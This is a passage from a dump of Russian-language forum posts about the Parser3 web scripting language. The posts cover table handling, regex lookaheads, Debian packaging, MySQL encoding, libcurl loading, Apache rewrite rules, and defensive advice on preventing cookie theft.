  ^coord.menu{$coord.0 - $coord.1}[^#0A]\
[/code]\
\
p.s. Наверняка image.polyline не обращает внимание на название колнок, но это проверяйте сами."
"76103","... не думаю, что это даст какой-то реальный выигрыш по памяти/скорости. А вот вычислений и проверок «в одну строку» будет дофига. :)"
"76104","в общем да, без измерений говорить не о чем, но...\
\
\"внутри\" sort или select -- это перебор всех элементов, пока не наберётся limit. limit-а нету, т.е. речь идёт о переборе всех строк таблицы (которых 86 тысяч). для каждой строки -- выполнение и проверка условия.\
\
\"внутри\" offset это lookup строки таблицы по номеру.\
\
что-то мне подсказывает, что while + offset будет быстрее.\
\
о каких вычислениях в одну строку ты говоришь я не очень понял:\
[code]\
^log.offset[set]($log-300)\
$coord[^table::create[nameless]{^for[i](1;300){$i^#09$log.0^log.offset[cur](+1)}[^#0A]]\
[/code]"
"76105","... поэтому должно быть что-то такое:\
[code]\
$coord[^table::create[nameless]{^for[i](1;^if($log >= 300){300}{$log}){^log.offset[set](-1*$i)$i^#09$log.0}[^#0A]]\
[/code]\
\
p.s. И соглашусь, что цикл без всяких селектов, скорее всего и будет наиболее оптимальным решением."
"76108","После чего собрать мусор и строить новую таблицу, особенно если нужны какие-то более сложные вычисления."
"76109","Зачем «пустой» select, почему не:\
[code]$newtable[^table::create[$oldtable;$.limit(300) $.reverse(true)]][/code]\
?"
"76110","это понятно, что нужны доп. проверки (а разве это вообще проблема?)\
\
я имел в виду, что все эти select/copy, применённые к большим таблицам, без знания внутренностей реализации этих методов, запросто могут перерасти в очень неоптимальные конструкции, перебирающие всю таблицу.\
\
for/while с offset-ом подобной скрытой фичи лишены. всё написанное навиду.\
[code]\
$limit(^if($log>300)(300;$log))\
^log.offset[set]($log-1)\
$coord[^table::create[nameless]{^for[i](1;$limit){$i^#09$log.0^log.offset[cur](-1)}[^#0A]]\
[/code]\
\
P.S. и понятно, что я это лишь для того, чтобы потрындеть. в реалиях подобным огромным таблицам место в БД и они вообще никогда не должны попадать к парсеру целиком."
"76111","такую волшебную таблицу создает программа SpeedFan, способная мерить температуру процессоров и т.п.\
она ведет лог размером в сутки, запись заносится каждые 3-4сек.\
может и можно было бы перекидывать данные в базу mysql при помощи сторонних программных средств, но это бы не имело смысла. вот и приходится парсером."
"76112","Есть и для вин, в nix нативно."
"76113","Заранее простите за ламеризм, я только учусь...\
Читал недавно на это форуме, что Парсер добавился в репы Debian\
а вот в убунте я виже не совсем то, что заявлено:\
apt-get update делал... список пакетов свежий \
при поиске Parser3 выдает только следующие 5 пакетов на выбор:\
[code]\
1. parser3 (Parser 3, HTML-embedded scripting language  metapackage)) # что это? и что значит метапакет?\
2. parser3-cgi (Parser 3, HTML-embedded scripint language (CGI binary) # тут вроде понято, что собран будет как cgi-шка.\
3. parser3-common (Common files for packages built from Parser 3 source) # что это файлы конфигурации и кодировки м/или исходники?\
4. parser3-dev (Files for Parser3 module development) # или тут исходники?\
5. parser3-mysql (MySQL driver for Parser 3) # это понятно, это mysql-драйвер\
[/code]\
Ссылка на скрин: http://smotr.im/13Kx\
\
Вопросы: \
- где пакет apache2-mod-parser3 или как он там должен называться, чтобы без танцев с флагами компилятора собрать ламеру парсер как модуль апача второго?\
- что за пакет parser3 и parser3-common? и можно прокомментировать пакеты\
- почему бы для пущей полноты и удобства еще не сделать пакет который собирает парсер как модуль Apache 1.3.x\
\
и один оффтоп: а кто вообще отвечает за то, чтобы парсер был включен в официальные репозитарии?"
"76114","В разделе:\
[url=\"http://parser.ru/download/contrib/\"]Прислали пользователи[/url]\
ошибка в самом конце страницы, какая-то ссылка недописана,\
кусок тега с a href вылез наружу."
"76116","В разделе прислали пользовали:\
Пакеты Debian, Parser 3.4.1 (apt-get install parser3-cgi или apt-get install [b]libapache2-mod-parser3[/b]), драйвер для MySQL (apt-get install parser3-mysql) [прислал sk]"
"76118","Действительно есть такая сошка http://packages.debian.org/sid/libapache2-mod-parser3\
Интересно а она работает +), пойду попробую у себя скормить )"
"76119","по топику."
"76120","я понятия не имею.\
\
в пакетах указан email автора, мне кажется идея спросить его -- вовсе не плоха."
"76122","Понятно, что на декстопе на вкус и цвет, но серверная то POSIX и скорее всего linux и скорее всего это Debian. Расскажите про apache2-mod-parser3 неужели это реальность? :)"
"76123","http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/targets/apache/mod_parser3.c"
"76124","- изначальная сборка не на linux\
- с *nix я знаком на уровне начинающего пользователя\
- пакеты для Debian делали не мы (про контакты автора я уже намекал). что из себя эти пакеты представляют лично я вообще не имею понятия :)\
- модуль для apache 2 делал moko\
- http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/ChangeLog?rev=1.80.2.1&content-type=text/vnd.viewcvs-markup | Ctrl+F | \"apache\" (почти год уже в cvs)\
- сами мы этим не пользуемся и особо не тестировали (могу ошибаться). мы вообще пользуемся cgi."
"76125","Все таки он как бы все время в памяти, не требуется каждый раз запускать новый процесс, может даже как-то кеширует сам?) Ну в плане не перечитывает каждый раз файлы с диска."
"76128","Здравствуйте уважаемые гуру и монстры парсера. Возникла необходимость сделать авторизацию на сайте. В принципе все моменты понятны за исключением одного, а именно как бороться с кражей куки которая остается после авторизации. Как один из вариантов думаю привязать куку к устройству на котором она храниться... Ну собственно как получить какой-нибудь уникальный ID устройства? Например ID процессора, MAC-адрес (а если несколько сетевых интерфейсов), какой-нибудь уникальный ID браузера или еще что-нибудь подобное? Получить это естественно надо по HTTP. Крайне желательно что бы работало, на всех возможных операционных системах (винда, макось, линукс, телефонные операционки и т.д.) и устройствах (компъютер, телефон, смартфон, планшетки и т.д.) Возможно ли это вообще? Может я не прав, идея плохая и есть другой способ борьбы с кражей куки кроме как привязывание ее к железу или софту? Буду признателен за любые советы по теме. Заранее спасибо всем ответившим."
"76129","... поэтому, даже если бы и был универсальный способ получить в браузере серийный номер и тип процессора, то проверить достоверность этих данных на сервере не представляется возможным.\
\
Единственное на что не может повлиять клиент — это на IP-адрес клиента, который вы получаете от веб-сервера. Его можно использовать при хешировании куки и проверять при каждом коннекте. Понятно, что этот способ не очень хорошо работает, если клиенты сидят за динамическими IP — при смене адреса клиент будет разлогинен.\
\
Стоит подумать какими путями возможно воровство куки. Если злоумышленник получил доступ к компьютеру пользователя (прямым взломом или через троян), то тут ничего не поможет. А если речь о перехвате трафика, то канал передачи легко защитить с помощью HTTPS-протокола. Только для этого понадобится хостинг, который позволяет выделить отдельный IP для каждого сайта и установить ssl-сертификат в веб-сервере (сертификат тоже лучше приобрести, а не использовать самоподписанный). \
\
p.s. Или вообще не особо заморачиваться — данный форум спокойно живет поверх http и куки тут ни у кого не воруют. :)"
"76130","Как повернуть таблицу, чтобы строки первой колонки стали именами колонок?"
"76131","[code]$tOriginal[^table::create{name	val1	val2\
fire	01	11\
police	02	12\
ambulance	03	13\
gas	04	14\
}]\
$tFlip[^tOriginal.flip[]]\
$tNew[\
^table::create{^tOriginal.menu{$tOriginal.name}[^#09]\
^tFlip.menu{^for[i](0;$tOriginal){^if(^tFlip.line[]!=1){$tFlip.$i}}[^#09]}[^#0A]\
}\
]\
^use[debug.p]\
^debug:print[$tNew][/code]\
В общем на выходе\
[code]fire	police	ambulance	gas\
01	02	03	04\
11	12	13	14[/code]"
"76133","Только как оно себя будет вести с большими таблицами...."
"76134","Надо цену показывать красиво\
\
25350240.00 => 25,350,240.00 USD\
\
Вот написал.\
\
[code]\
@formatprice[p][i]\
^if(def $p){\
$i(1)\
$result[^p.match[^^(\\d|\\d\\d|\\d\\d\\d)(\\d\\d\\d)?(\\d\\d\\d)?(\\d\\d\\d)?(\\d\\d\\d)?(\\.)?(\\d\\d)?^$][]{^while(def $match.$i){$match.$i^i.inc[]}[,]^i.inc(3).$match.$i}]\
}\
[/code]\
\
Работает, но жутко некрасиво... Да еще и с загадка, почему последнее (\\.)(\\d\\d) в цикле не находится - приходится вручную: ^i.inc(3).$match.$i показывать\
\
Кому не лень регексп красивый написать?"
"76136","Если верить мануалам, то:\
?=pattern - положительное постусловие\
?!pattern - отрицательное постусловие\
?<=pattern - положительное предусловие\
?<!pattern - отрицательное предусловие\
\
Пробовал всеми возможными способами прикрутить условия на парсере, т.к. часто это нужно, но ничего так и не вышло.\
\
Есть ли какие-нибудь особенности использования условий в парсере?\
Если можно, поясните на примере, как найти текст, которому предшествует определенный кусок текста и после которого есть определенный кусок текста."
"76137","И после того как они у вас заработают там, переносите сюда, но помните о http://parser.ru/docs/lang/stringlit.htm"
"76138","Про экранирование я знаю.\
Регулярки, где надо искать до вхождения определенного символа, работают, а для цеолй последовательности - нет.\
\
Если бы регулярки заработали, то я не стал бы здесь спрашивать.:)"
"76139","По указанной ссылке вставляю регулярку, которая работает в парсере, но там не выдает тот же результат, что и парсер.\
\
Поясню на примере, в чем проблема:\
$sTemp1[<tr><th>1</th><td><a href=\"/p=111\">aaa</a></td></tr><tr><th></th><td><a href=\"/p=222\">bbb</a></td></tr><tr><th>3</th><td><b>ccc</b></td></tr>]\
$sTemp2[<tr><th>1</th><td><a href=\"/p=111\">aaa</a></td></tr><tr><th>2</th><td><a href=\"/p=222\">bbb</a></td></tr><tr><th>3</th><td><b>ccc</b></td></tr>]\
Шаблон:\
<tr><th>\\d+</th><td><a href=\"/p=(\\d+)\">[^^<]+?</a></td></tr><tr><th>\\d+</th><td><b>ccc</b></td></tr>\
\
Задача: найти код пункта меню, который предшествует текущему и предшествует один.\
Текущее меню: ccc\
Из sTemp1 ничего не должны получить, а из sTemp2 - 222."
"76140","В вашем случае это проще сделать на стороне браузера."
"76141","Все нашло во втором варианте, вы наверно забыли убрать одну шапочку из экранирования"
"76142","В парсере все находится правильно по приведенной регулярке, но [^^<]+? не пропустит текст, в котором есть символ <, поэтому интересуют условия.\
Пробовал [^^<]+? заменять на .+(?=</a>), экранировал символы <>, но ничего не получилось.\
В данном случае задача сводится к тому, чтобы брать текст не до определенного символа, а до набора, т.е. </a>.\
\
Перепробовал много вариантов с условиями, но парсер выдает 0 или 111 для обоих строк, хотя должен 0 для первой и 222 для второй.\
\
Что касается приведенного сайта для теста регулярок, то там не выводится результат, просто group 1: (\\d+), а чему равно, хз."
"76143","[quote]\
Пробовал [^^<]+? заменять на .+(?=</a>), экранировал символы <>, но ничего не получилось\
[/quote]\
\
не удивительно.\
[^^<]+? -- любой символ кроме '<' повторяющийся 1 или более раза, взятый минимально возможное число раз\
.+(?=</a>) -- любые символы взятые макимально возможное число раз, за которыми следует комбинация \"</a>\"\
т.е. в втором случае нужен как минимум символ '?' после символа '+' (чтобы отключить жадность), но в вашем случае вообще нельзя писать \"?=\", можно делать обычную группировку (?:</a>), а ещё лучше не делать вообще ничего: \".+?</a>\"\
\
P.S. у парсера с заглядыванием вперёд (\"?=\", \"?!\") проблем не встречал, а с заглядыванием назад (\"?<=\", \"?<!\") проблема есть в случае, если делается подстановка, которая попадает под этот look behind шаблон. то, что только что подставилось, не анализируется."
"76144","Не все так просто: .+?</a> выдаст в обоих случаях 111, т.к. .+? включит в себя первый тег </a> и весь текст за ним до последнего </a> перед выделенным пунктом меню.\
\
Надо включить в .+? весь текст до первого вхождения </a>, но при этом разрешить символы <>, поэтому стал писать на форум, т.к. без условий пока не получилось решить задачу.\
\
Есть форма записи [^^<]+?, но нельзя записать [^^</a>]+?, т.к. поиск будет до любого символа, указанного в скобках.\
В этом вся проблема."
"76145","ДД!\
\
Чтонить изменилось с 2003года по этому вопросу?\
Интересует драйвер для Firebird/Interbase под FreeBSD."
"76147","Привет. \
\
Не могу разобраться с проблемой. Форум и гугль читал - пока не помогло.\
\
Все файлы в UTF-8, база в UTF-8. Закачанный дамп (utf-8) показывается отлично. Но когда сохраняют данные из веб-формы, в базу вместо русских букв попадают только вопросы ???????\
\
Было ли у кого-нибудь похожее? Как вы решили? \
\
Спасибо\
\
Мой конфиг:\
\
Mac OS 10.6.8\
MySQL 5.5.19\
\
$request:charset[utf-8]\
$response:charset[utf-8]\
\
$SQL.connect-string[mysql://blablabla@localhost/blabla?charset=utf8]\
\
Из show variables:\
\
character_set_client	utf8\
character_set_connection	latin1\
character_set_database	latin1\
character_set_filesystem	binary\
character_set_results	utf8\
character_set_server	latin1\
character_set_system	utf8\
character_sets_dir	/usr/local/mysql-5.5.19-osx10.6-x86_64/share/charsets/\
\
collation_connection	latin1_swedish_ci\
collation_database	latin1_swedish_ci\
collation_server	latin1_swedish_ci"
"76149","Применил класс для работы с изображениями от Den Kulikoff (http://www.kulikoff.net/parser3/img/). Все было хорошо, пока не попал на странную ошибку (см.ниже).\
Возникает она при вызове ^oImg.info[]. Причем только для одного изображения в формате JPEG. С любыми другими проблем нет, в т.ч. с JPEG. Изображение делал сам (изменение размера в Photoshop CS3), с исходным изображением таких проблем нет. Интересующимся могу выслать изображение. Изображение попадает на сайт через форму, собственно как и все остальные, с которыми нет проблем.\
Версия Parser -  3.3.0 (compiled on i386-unknown-freebsd6.3), хотя думается что не в ней дело.\
\
Какие будут идеи ?\
\
Текст ошибки:\
[code]\
------------------------------------\
^\\s*(\\S.+\\S):\\s+(.+)\\s*$\
\
validation of UTF-8 string failed while pcre_exec (-10).\
/home/ [skipped] /www/ImageMagick.p(39:29)\
------------------------------------------------------\
match	/home/ [skipped] /www/ImageMagick.p(39:29)\
if	/home/ [skipped] /www/ImageMagick.p(38:2)\
_parseInfo	/home/ [skipped] /www/Img.p(72:15)\
fResult	/home/ [skipped] /www/Img.p(72:2)\
info	/home/ [skipped] /www/adm/design.html(27:33)\
if	/home/ [skipped] /www/adm/design.html(26:10)\
if	/home/ [skipped] /www/adm/design.html(21:2)\
if	/home/ [skipped] /www/adm/design.html(5:2)\
[/code]"
"76150","Спасибо. Решил вот так\
\
alter database blabla CHARACTER SET utf8"
"76151","В Debian *не только* 3.4.1.  Такая версия сейчас в sid и testing - она попадет в следующий релиз.  Что в ubuntu - без понятия.\
\
Только для 3.4.1 собран модуль апача.  // Его работа *не тестировалась* серьезно и мне сообщали, что он не расчитан на работу с MPM, отличными от prefork.\
\
Для стабильной версии Debian - 3.4.0 и доступен только один SAPI: CGI.\
\
PS: В принципе, можно собрать бекпорт для squeeze."
"76152","проблема в том, что информация об изображении, которую вам выдал ImageMagick с помощью опции -identify, содержит символы, которые НЕ присутствуют в кодировке UTF-8.\
\
при этом код на парсере и соотв. его либа PCRE работают в кодировке UTF-8, как следствие любой НЕ UTF-8 символ в строке, анализируемой с помощью regex (PCRE), приводит к исключению.\
\
что именно возвращает ImageMagick для этого изображения можно посмотреть запустив его из консоли. возможно там какой нить description, который написан, например? в 1251.\
\
пока не ясна суть проблемы порекомендовать решение невозможно.\
если моё предположение о description верно, то надо будет подправить классы, чтобы exec-у передавалась опция $.charset, и с её помощью результат перекодировался из этой кодировки в текущую (вообще эту фичу по любому надо будет добавить в классы)."
"76154","Смотрел, там при наведении в любом режиме показывает 111, что неправильно.\
\
В интернете пишут, что в подобных ситуациях надо использовать условия, у меня не получилось на парсере это сделать, поэтому и написал на форум."
"76155","спасибо за совет, проблема решена путем добавления charset в exec.\
\
^file::exec[$hScript.$sAction;[b]$.charset[windows-1251][/b];-identify;-verbose;$hParams.sInput;null:]\
\
--\
telecomer"
"76156","Ubuntu + Apache2 + parser3.4.1, curl установлен\
\
пишу ^curl:version[] выдаёт ошибку:\
'version' failed to load curl library libcurl.so: libcurl.so: cannot open shared object file: No such file or directory [curl] [uri=/, method=GET, cl=0]\
\
в /usr/bin/ лежит curl, где взять libcurl.so и как его прописать в parser?\
\
Parser скачивал с сайта для Ubuntu x64, также пробавал устанавливать парсер из репов 3.4.0-4ubuntu1 этот вообще пишет:\
'curl' class is undefined [parser.runtime] [uri=/, method=GET, cl=0]\
\
что делать?"
"76157","Извеняюсь, вроде понял\
нашёл у себя libcurl.so.4.2.0\
\
^curl:options[$.library[libcurl.so.4.2.0]]\
^curl:version[]\
выдал:\
libcurl/7.22.0 OpenSSL/1.0.0e zlib/1.2.3.4 libidn/1.22 librtmp/2.3"
"76158","Второе большое поле, там результат реплейса, после ----- $1 показывается"
"76159","Больше интересует решение задачи.:)\
Всегда .+? или .*? съедает лишний текст, поэтому нужен вариант, как этого избежать.\
Если условия в парсере работают, то они должны помочь решить задачу, но я пока не допер, как это сделать."
"76160","я считаю, что задача вообще крайне странная и решать её теми средствами, которыми вы взялись её решать -- неправильно (да и в общем случае невозможно, т.к. в html-е в любой td может быть ещё одна table с чем угодно и это всё может поломать).\
\
может расскажете, откуда она взялась?\
для чего вам заниматься разбором html-я? откуда он?\
\
P.S. если уж парсить его с помощью regexp-ов, то лично я сделал бы это в несколько шагов: сначала разбил бы на tr/td, а потом анализировал содержимое. оно было-бы гораздо понятнее и проще модифицировалось, если-бы исходный html вдруг изменился."
"76161","Это спасибо. Но ведь можно одним регекспом сделать?"
"76162","Задача приведена в качестве примера, где надо как-то побороть .+? и .*?\
\
Есть различные веб-интерфесы для работы с удаленными базами.\
Чтобы не заходить на сайт и не делать вручную лишнюю работу, автоматизирую с помощью скриптов.\
\
В несколько шагов задачу решить можно, но интересует именно вариант одной строкой, чтобы убрать лишние шаги."
"76163","Парсер использует библиотеку pcre, все что доступно в ней - доступно в парсере."
"76164","Тогда надо поискать в инете, да и у Фридла, как мне кажется, в книжке было решение."
"76165","только не знаю как парсер скушает $&"
"76168","Нашел вот здесь: http://gskinner.com/RegExr/\
Pattern: /\\d{1,3}(?=(\\d{3})+(?!\\d))/g\
Replace: $&,\
\
\"$&,\" - Как сказать парсеру делать вот эту замену?\
\
Если ставить ^$& - выходит вот такое: $&$&233.00"
"76170","[code]\
$t[53447233.00]\
^t.match[\\d{1,3}(?=(\\d{3})+(?!\\d))][g]{$match.1,}\
[/code]\
\
результат: 233,233,233.00"
"76175","Чтонить изменилось с 2003года по этому вопросу?\
Интересует драйвер для Firebird/Interbase под FreeBSD.\
\
А нет ли у кого , драйвера sql для Firebird/Interbase"
"76177","[code]\
$t[53447233.00]\
^t.match[\\d{1,3}(?=(\\d{3})+(?!\\d))][g]{$match.1,}\
[/code]"
"76185","попытался найти parser3odbc (сделать связку parser3odbc -> unixODBC -> OdbcFb -> firebird)\
из того что нашел - только исходник под win :(\
\
если плохо искал - ткните в ссылку, плиз"
"76186","UNIX-версию, несколько я помню, никто не делал. Сомнительно, что кто-то из разработчиков Парсера использует Interbase/Firebird, поэтому лучше, если вы сами займетесь драйвером. В качестве основы можно взять http://www.enterstudio.ru/support/parser3ib/ — автор пишет, что версия условно-кросплатформенная, но наверняка можно ее модифицировать для работы на юниксах. Еще имеет смысл учитывать, что с версии 3.1 немного поменялся API sql-драйверов, что может потребовать некоторых изменений в исходном коде."
"76187","table:\
name   loc\
_default   NoName\
_menu   Menu\
.....\
\
[code]\
$t[^table::load[/${localization}.loc]]\
$_t[^t.hash[name][loc]]\
[/code]\
не работает :(\
\
[code]\
$t[^table::load[/${localization}.loc]]\
$_t[^t.menu{$.[$t.name][$t.loc]}]\
[/code]\
Работает\
\
Что в первом варианте не так?"
"76188","... иначе написали бы что-то такое:\
[code]\
$h[^t.hash[name][loc][$.type[string]]]\
[/code]\
\
p.s. В следующий раз описывайте проблему яснее, т.е. не просто «не работает», а что вы рассчитывали получить в коде и что на самом деле получили."
"76189","exception? (если да, то какой именно)\
данные не в таком формате?\
\
P.S. опцию $.type[string] пробовали добавлять? именно она позволяет получать такую структуру, какую вы получаете ручками с помощью menu."
"76190","Приветствую Вас много уважаемые гуру и монстры парсера. Начал новый сайт и решил сделать все как надо т.е. установить везде кодировку UTF-8, хотя раньше всегда использовал windows-1251. Сваял тестовую страничку вроде все работает корректно, за одним исключением: гугл хром пишет что язык этой страницы английский и предлагает перевести... $response:Content-Language[ru] или <META HTTP-EQUIV=\"Content-language\" content =\"ru\"> не помагают, хотя другие три сайта с кодировкой windows-1251 определяет как русские без каких либо доп указаний... Заранее спасибо всем ответившим..."
"76195","подскажите, как вытащить файл!!! \
[color=\"#ff0000\"]отправляет JS:[/color]\
[code]\
xhr.open(\"POST\", queryString, true);\
xhr.setRequestHeader(\"X-Requested-With\", \"XMLHttpRequest\");\
xhr.setRequestHeader(\"X-File-Name\", encodeURIComponent(name));\
xhr.setRequestHeader(\"Content-Type\", \"application/octet-stream\");\
xhr.send(file);\
[/code]\
\
==========================================================\
в Firebug вижу его!\
Post\
Исходный код\
...........  ..........<?xpacket begin=\"&#239;»&#191;\" id=\"W5M0MpCehiHzreSzNTczkc9d\"?> <x:xmpmeta xmlns:x=\"adobe:ns:meta/\" x:xmptk=\"Adobe XMP Core 4.1-c036 46.276720, Mon Feb 19 2007 22:40:08 \">...........................\
\
Заголовки\
X-File-Name	1.jpg\
\
Параметры\
qqfile	1.jpg\
uploadsDir	../../_cataloque.img/img/D64BDE3E808E0A7D/\
===============================================================\
\
[color=\"#ff0000\"] на стороне сервера[/color] \
$form:qqfile - только имя файла\
$form:qqfile.text - string method not found\
${form:X-File-Name} - не существует\
\
^form:fields.foreach[..... - выдает, только то, что выше в параметрах\
\
PHP $_FILES['qqfile'] отдает файл"
"76199","Доброго времени суток, Уважаемые! Сразу скажу по поводу знаний, равны они нулю. Не подскажите для начала, как установить данную программу? Читал мануальчик, для меня не понятны эти строки: Создайте в корневом каталоге вашего сервера файл .htaccess... Где он этот корневой каталог?"
"76201","рядом с index.html, который отображается при просмотре в браузере http://mySite.ru/index.html"
"76203","Спасибо, Безымянный! Но возникает сопутствующий вопрос? Файл .htaccess до точки это расширение файла или же это имя? В чем его создавать?"
"76205","Предположим есть таблица table:\
[code]num\
1\
3\
4\
7[/code]\
Как получать каждый раз случайный $table.num из неё?"
"76207","Никто случайно не пытался подружить Парсер и ActiveMQ, например, через STOMP (http://stomp.github.com//)?\
\
Есть необходимость использовать очереди, а изобретать велосипед не хочется."
"76208","[code]^table.offset(^math:random(^table.count[]))[/code]\
\
вы про это?"
"76209","http://activemq.apache.org/rest.html\
\
p.s. Но и велосипед можно сделать достаточно просто — http://telamon.ru/articles/async.html"
"76213","При помощи данной программы можно парсить контент определенного сайта?"
"76215","И можно ли как-то записать в CGI_PARSER_LOG текущее значение DocumentRoot/../log/parser3.log как то так.\
Ну и вариант сбрасывать в стандартный лог ошибок."
"76217","Мне нужно было знать, что это реально сделать, через данный язык.. Спасибо, за ответ!"
"76218","В молодое и дружное рекламное агентство нужен программист на Parser3. График работы - пн-пт, временные рамки - обсуждаются. Территориально - Москва, м. Красносельская (5 минут пешком)\
\
Заинтересовавшихся - просьба присылать краткий рассказ о себе и список выполненных работ на gynsus@yandex.ru"
"76220","В общем назрела проблемка, что иногда надо внутри редактора вставить какой-то код парсера, все работает. Но вот wysiwyg редакторы не любят меня. То обернуть в [b]p[/b], то что не надо, в принципе за тем что не соблюдены веб стандарты по шапке не бьют и все работает. Но вот иногда редактор показывает свой нрав и запихнет во внутрь $var[Я&nbsp;вас люблю.], собственно кто как с этим борется?\
Я так понимаю надо дополнить текст каким нибудь ограничителями типа {literal}{/literal} у смарти, чтобы он в внутри не портил не фига. может есть у кого наработки?\
Отказываться от редактора не хочется.\
Использую в качестве редактора продукт http://imperavi.com/redactor/"
"76221","Пожалуй, не стоит такого делать. Небезопасный вариант, учитывая, какую муть лепят разные браузеры при оформлении текста.\
\
Единственный более-менее безопасный подход: маппинг через маркеры.\
Мы твёрдо знаем, какой \"динамический\" функционал (код, который будет обработан парсером) нам нужен в визивиге.\
\
Делаем соответствующие кнопки или другие интерфейсные элементы для визиваига, которые в текст будут вставлять определённого вида конструкции (маркеры).\
\
Банальный пример: #img#100# -- вставить на это место картинку из базы с id 100.\
\
Далее, парсим пришедший текст из формы, отлавливаем все известные нам конструкции (как раз то, что я назвал маппингом), и выполняем нужные действия на парсере (лезем в базу, проверяем наличие картинки, заменяем маркер на html-код, и т.п.).\
\
И то, такие вещи надо очень подробно прорабатывать, если функционал публичный. Если это для \"админки\" сайта, то проблем чуть меньше, но всё равно надо аккуратно продумать все связи."
"76226","Когда я не использовал Parser, то данная строчка в .htaccess перенаправляла пользователя с user.sys.domain.ru/key на domain.ru/scr.php?user=user&sys=sys&key=key\
[code]RewriteRule ^(.*?)\\.(.*?)\\.domain\\.ru([^/]*)$ \\/scr.php/?user=$1&sys=$2&key=$3 [L][/code]\
C установленным Parser3, при попытке изменить параметр на подобный:\
[code]RewriteRule ^(.*?)\\.(.*?)\\.domain\\.ru([^/]*)$ \\/index.html/?user=$1&sys=$2&key=$3 [L][/code]\
выдается следующая ошибка:\
[code]The requested URL /user.sys.domain.rucgi-bin/parser3.cgi/index.html/ was not found on this server.][/code]\
Однако, если убрать строчку [b]Action parsed-html /cgi-bin/parser3.cgi[/b], то поддомены снова начинают работать.\
[b]Что делать?[/b]\
\
Вот полный .htaccess\
[code]\
#php_flag display_errors on\
AddDefaultCharset utf-8\
RewriteEngine ON\
\
RewriteCond %{ENV:REDIRECT_MYFLAG} ^$\
RewriteCond %{HTTP_HOST} ^(.*?)\\.domain\\.ru$\
\
RewriteRule ^(.+) %{HTTP_HOST}$1 [E=MYFLAG:1]\
RewriteRule ^(.*?)\\.(.*?)\\.domain\\.ru([^/]*)$ \\/index.html/?user=$1&sys=$2&key=$3 [L]\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]"
"76227","а зачем у вас перед /index.html обратный слэш, а после него -- прямой?"
"76228","Только что попробовал изменить на такое\
[code]RewriteRule ^(.*?)\\.(.*?)\\.domain\\.ru([^/]*)$ index.html/?user=$1&sys=$2&key=$3 [L]\
[/code]\
и такое\
[code]RewriteRule ^(.*?)\\.(.*?)\\.domain\\.ru([^/]*)$ /index.html/?user=$1&sys=$2&key=$3 [L][/code]\
Ничего не получилось, выдается все та же ошибка."
"76229","Зачем вот этот слешь?\
index.html[b][color=\"#ff0000\"]/[/color][/b]?user=$1&sys=$2&key=$3"
"76230","Изменил на такое:\
[code]RewriteRule ^(.*?)\\.(.*?)\\.domain\\.ru([^/]*)$ page.html?user=$1&sys=$2&key=$3 [L][/code]\
Страницы page.html в папке с сайтом не присутствует, однако все открывается, но параметры не передаются."
"76231","Изменил на такое:\
\
[code]RewriteRule ^(.*?)\\.(.*?)\\.domain\\.ru([^/]*)$ page.html?user=$1&sys=$2&key=$3 [L][/code]\
\
Страницы page.html в папке с сайтом не присутствует, однако все открывается, но параметры не передаются."
"76232","[quot]Страницы page.html в папке с сайтом не присутствует, однако все открывается[/quot]\
\
а что в таком случае открывается-то?\
и зачем убрали начальный слэш? вы слэши от фонаря добавляете/убираете, или всё-таки попробовали понять что они означают в данном случае?"
"76233","Даже если бы слеш остался, первый и второй варианты\
1. [code]RewriteRule ^(.*?)\\.(.*?)\\.domain\\.ru([^/]*)$ /index.html/?user=$1&sys=$2&key=$3 [L][/code]\
2. [code]RewriteRule ^(.*?)\\.(.*?)\\.domain\\.ru([^/]*)$ index.html/?user=$1&sys=$2&key=$3 [L][/code]\
теперь больше не ругаются, зато теперь выдается подобная ошибка при следующем запросе:\
[code]http://user.sys.domain.ru/GUA[/code]\
[code]The requested URL /GUA/ was not found on this server.[/code]"
"76234","И как оно на пхп у вас вообще работало, гуглите RewriteCond."
"76235","Правильно понимаю, что директория cgi-bin у вас находится в корне сайта, где лежит .htaccess? Тогда надо в cgi-bin положить свой .htaccess, в котором сказать RewriteEngine off, чтобы рирайты основного сайта на нее не распространялись. Именно из-за этого рирайта получается ошибка \"The requested URL /user.sys.domain.rucgi-bin/parser3.cgi/index.html/ was not found on this server.]\""
"76236","Добрый день!\
\
Туплю что-то.\
Понадобилось кодировать языки с не-ASCII символами типа так:\
<keywords lang='de'>hund, hydrant, b&#252;rgersteig</keywords>\
\
Случайно и давно так получалось, и просто было, но тогда был это побочный эффект, мало того что избавился, так и забыл как получить снова :)\
\
Порыл форум - не вижу.\
Подскажите, наверняка кто-то использует..."
"76237","До зацикливания тут далеко.\
Глобальное не понимания как работает модуль вообще."
"76238","например\
[code]$n1[^table::create{n_1\
1\
2\
3\
4}]\
\
\
$n2[^table::create{n_2\
10\
20\
30\
40}]\
\
\
и чтобы получилось так:\
\
$n3[^table::create{n_1	n_2\
1	10\
2	20\
3	30\
4	40}][/code]"
"76239","Можно.\
\
Я транспонировал обе (flip), делал append к первой вторую, затем обратное транспонирование (ещё раз flip).\
\
Данных было немного, по скорости/ресурсам получалось почти также как заполнить в цикле новую таблицу из двух старых."
"76241","На хостинге провели обновления - сломался $env:REMOTE_USER.\
Переменная $cur_user_login[$env:REMOTE_USER] получается пустая. Хэлп. Как победить?"
"76243","Спасибо, заработало. А что могло произойти?"
"76245","В коде странице нужен Java-скрипт такого содержания:\
[code]\
// собственно поиск\
$('#searchInput').bind('keyup', function() {\
    var q = new RegExp($(this).val(), 'ig');\
	$('#list, #hidden_list').find('option').each(function(){\
		if ($(this).text().match(q)){\
			$(this).parent('#hidden_list').size() ? $(this).detach().appendTo('#list') : null;\
		}\
		else{\
			$(this).parent('#list').size() ? $(this).detach().appendTo('#hidden_list') : null;\
		}	\
	});\
});\
[/code]\
А парсер на него ругается."
"76248","Заэкранировал - все заработало. Спасибо"
"76249","$.2[Лютня] -> $.2[Лютого]\
\
в примерах тоже надо исправить (сейчас по поиску \"+Лютня -музыка -инструмент\" можно выцепить всех кто использует этот класс :))"
"76250","Срочно нужен человек хорошо разбирающийся в парсере для мелких доработок существующего когда. Если есть возможность помочь, пожалуйста пишите на \
M8R-8gxhpj(собака)mailinator.com.\
\
спасибо."
